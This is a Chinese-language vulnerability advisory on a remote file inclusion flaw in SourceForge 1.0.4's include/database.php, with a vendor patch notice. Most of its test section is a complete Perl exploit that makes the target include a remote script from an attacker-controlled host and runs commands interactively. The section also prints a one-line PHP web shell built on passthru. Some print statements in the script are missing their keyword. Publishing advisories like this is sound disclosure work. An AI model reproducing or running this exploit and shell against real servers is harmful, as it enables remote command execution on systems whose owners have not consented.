安全研究
安全漏洞
SourceForge database.php远程文件包含漏洞
发布日期:2006-10-23
更新日期:2006-10-25
受影响系统:
sourceforge SourceForge 1.0.4描述:
BUGTRAQ ID: 20692
SourceForge是用于协助开源软件开发的在线Web应用。
SourceForge在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。
SourceForge的 include/database.php 脚本没有对sys_dbtype变量数据做充分的检查过滤,远程攻击者可能利用此漏洞使服务器包含远程服务器上的PHP代码执行。
<*来源:Kw3rLn (ciriboflacs@YaHoo.Com)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#
# SourceForge-1.0.4 remote Command Execution Vulnerabilities
#
# Risk : High (Remote Code Execution)
#
# Url: http://lbdpc15.epfl.ch/~ibd/IBD2000/SourceForge-1.0.4.tgz
#
# Exploit:
# http://site.com/[path]/include/database.php?sys_dbtype=[Evil_Script]
#
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
# Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !
use LWP::Simple;
"...........................[RST]...............................\n";
print ".
.\n";
print ". SourceForge-1.0.4 remote Command Execution Vulnerabilities
.\n";
print ".
.\n";
"...............................................................\n";
print ". Romanian Security Team -> hTTp://RST-CREW.NET
.\n";
print ". [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net
.\n";
"...............................................................\n\n";
my $kw3,$path,$shell,$conexiune,$cmd,$data ;
if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}
$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];
chomp($shell);
$path = $path."/include/database.php";
sub usage(){
print "Usage : perl $0 host/path
http://site.com/cmd.txt\n\n";
print "Example : perl $0 http://127.0.0.1
http://site.com/cmd.txt\n\n";
print 'Shell : <?php
ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
}
while ()
{
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}
$kw3 = $path."?sys_dbtype=".$shell."?&cmd=".$cmd;
if ($cmd eq "")
{ print "Enter your command !\n"; }
else
{ $data=get($kw3); print $data ; }
}
建议:
厂商补丁:
sourceforge
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://lbdpc15.epfl.ch/~ibd/IBD2000/SourceForge-1.0.4.tgz
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严重程度:0(网友投票)
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